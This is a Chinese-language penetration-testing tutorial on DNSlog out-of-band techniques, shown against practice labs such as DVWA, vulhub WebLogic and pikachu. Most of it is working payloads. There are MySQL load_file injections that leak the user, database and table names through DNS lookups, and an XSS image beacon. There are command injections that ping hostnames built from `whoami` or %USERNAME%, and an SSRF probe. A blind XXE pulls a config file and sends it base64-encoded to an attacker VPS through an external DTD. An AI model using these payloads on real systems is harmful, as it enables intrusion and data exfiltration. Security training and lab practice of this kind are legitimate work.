天天看點

花5分鐘就能上手的dnslog盲打小技巧!

1.什麼是dnslog

DNSlog是什麼?DNSlog就是存儲在DNS伺服器上的域名資訊,它記錄着使用者對域名

www.baidu.com

等的通路資訊,類似日志檔案

2.dnslog通常用在哪個地方

1.SQL盲注2.無回顯的XSS3.無回顯的指令執行5.無回顯的SSRF5.Blind XXE      

2.1.SQL盲注

無論時時間盲注還是布爾盲注,都需要發送大量的資料包去判斷資料,很容易導緻被waf封IP,如果條件允許的話,可以使用dnslog進行快速的資料外帶。以Mysql為例,通過dnslog外帶資料需要用到load_file函數,是以一般得是root權限,并且secure_file_priv得為空
payload:select load_file(concat('\\\\',(select hex(user())),'.dnslog\\aa'));注意:後面的aa檔案存不存在不重要,随便寫都行,但是必須要寫,因為是load_file函數需要的條件      
以dvwa靶場為例(已手動修改:secure_file_priv=”):
payload:1' and (select load_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //檢視目前使用者1' and (select load_file(concat('//',(select database()),'.xxxx.ceye.io/as')))#  //查資料庫1' and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io/as')))#  //查詢目前資料庫第一個表,第二個類推      
花5分鐘就能上手的dnslog盲打小技巧!

2.2.無回顯的XSS

payload:<ImG src=http://xss.9e5ehg.dnslog.cn>      
花5分鐘就能上手的dnslog盲打小技巧!
然後回頭看下dnslog,證明漏洞存在。
花5分鐘就能上手的dnslog盲打小技巧!

2.3.無回顯的指令注入

發現疑似指令執行的洞,但是目标站點什麼也不顯示,無法确認是不是有漏洞。
windows:ping %USERNAME%.us0r6c.dnslog.cn
linux:ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn      
花5分鐘就能上手的dnslog盲打小技巧!
花5分鐘就能上手的dnslog盲打小技巧!
花5分鐘就能上手的dnslog盲打小技巧!
下面是windows常用的變量。
//變量                     類型       描述//%ALLUSERSPROFILE%        本地       傳回“所有使用者”配置檔案的位置。//%APPDATA%                本地       傳回預設情況下應用程式存儲資料的位置。//%CD%                     本地       傳回目前目錄字元串。//%CMDCMDLINE%             本地       傳回用來啟動目前的 Cmd.exe 的準确指令行。//%CMDEXTVERSION%          系統       傳回目前的“指令處理程式擴充”的版本号。//%COMPUTERNAME%           系統       傳回計算機的名稱。//%COMSPEC%                系統       傳回指令行解釋器可執行程式的準确路徑。//%DATE%                   系統       傳回目前日期。使用與 date /t 指令相同的格式。由 Cmd.exe 生成。有關 date 指令的詳細資訊,請參閱 Date。//%ERRORLEVEL%             系統       傳回上一條指令的錯誤代碼。通常用非零值表示錯誤。//%HOMEDRIVE%              系統       傳回連接配接到使用者主目錄的本地工作站驅動器号。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。//%HOMEPATH%               系統       傳回使用者主目錄的完整路徑。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。//%HOMESHARE%              系統       傳回使用者的共享主目錄的網絡路徑。基于主目錄值而設定。使用者主目錄是在“本地使用者群組”中指定的。//%LOGONSERVER%            本地       傳回驗證目前登入會話的域控制器的名稱。//%NUMBER_OF_PROCESSORS%   系統       指定安裝在計算機上的處理器的數目。//%OS%                     系統       傳回作業系統名稱。Windows 2000 顯示其作業系統為 Windows_NT。//%PATH%                   系統       指定可執行檔案的搜尋路徑。//%PATHEXT%                系統       傳回作業系統認為可執行的檔案擴充名的清單。//%PROCESSOR_ARCHITECTURE% 系統       傳回處理器的晶片體系結構。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER%    系統       傳回處理器說明。//%PROCESSOR_LEVEL%        系統       傳回計算機上安裝的處理器的型号。//%PROCESSOR_REVISION%     系統       傳回處理器的版本号。//%P ROMPT%                 本地       傳回目前解釋程式的指令提示符設定。由 Cmd.exe 生成。//%RANDOM%                 系統       傳回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。//%SYSTEMDRIVE%            系統       傳回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。//%SYSTEMROOT%             系統       傳回 Windows server operating system 根目錄的位置。//%TEMP%和%TMP%            系統和使用者  傳回對目前登入使用者可用的應用程式所使用的預設臨時目錄。有些應用程式需要 TEMP,而其他應用程式則需要 TMP。//%TIME%                   系統       傳回目前時間。使用與time /t指令相同的格式。由Cmd.exe生成。有關time指令的詳細資訊,請參閱 Time。//%USERDOMAIN%             本地       傳回包含使用者帳戶的域的名稱。//%USERNAME%               本地       傳回目前登入的使用者的名稱。//%USERPROFILE%            本地       傳回目前使用者的配置檔案的位置。//%WINDIR%                 系統       傳回作業系統目錄的位置。      

2.4.無回顯的SSRF

這邊用的是vulhub的一個weblogic的ssrf漏洞。
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn然後檢視dnslog有記錄,就很有可能存在ssrf漏洞      
花5分鐘就能上手的dnslog盲打小技巧!

2.5.Blind XXE

這邊用的是pikachu靶場,項目位址: https://github.com/zhuifengshaonianhanlu/pikachu
2.5.1.未修改源碼前,可以看到是有回顯的。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini" >]><value>&xxe;</value>      
花5分鐘就能上手的dnslog盲打小技巧!
2.5.2.修改源碼,使其變成無回顯。
花5分鐘就能上手的dnslog盲打小技巧!
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" >]><value>&xxe;</value>      
無回顯,但是可以看到dnslog收到請求,證明xxe漏洞存在。
花5分鐘就能上手的dnslog盲打小技巧!
檔案讀取
注:這裡需要一個VPS,VPS中放入一個DTD的檔案,檔案dtd内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.131:1333/?p=%file;'">      
然後利用python3開啟http服務。
python3 -m http.server --bind 0.0.0.0 1333      
花5分鐘就能上手的dnslog盲打小技巧!
pyload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://192.168.232.131:1333/evil.dtd">
%dtd;%int;%send;]>      
花5分鐘就能上手的dnslog盲打小技巧!
burp suite送出資料後,vps獲得一串base64編碼。
花5分鐘就能上手的dnslog盲打小技巧!
将base64編碼拿去解碼後就是my.ini的檔案内容。
花5分鐘就能上手的dnslog盲打小技巧!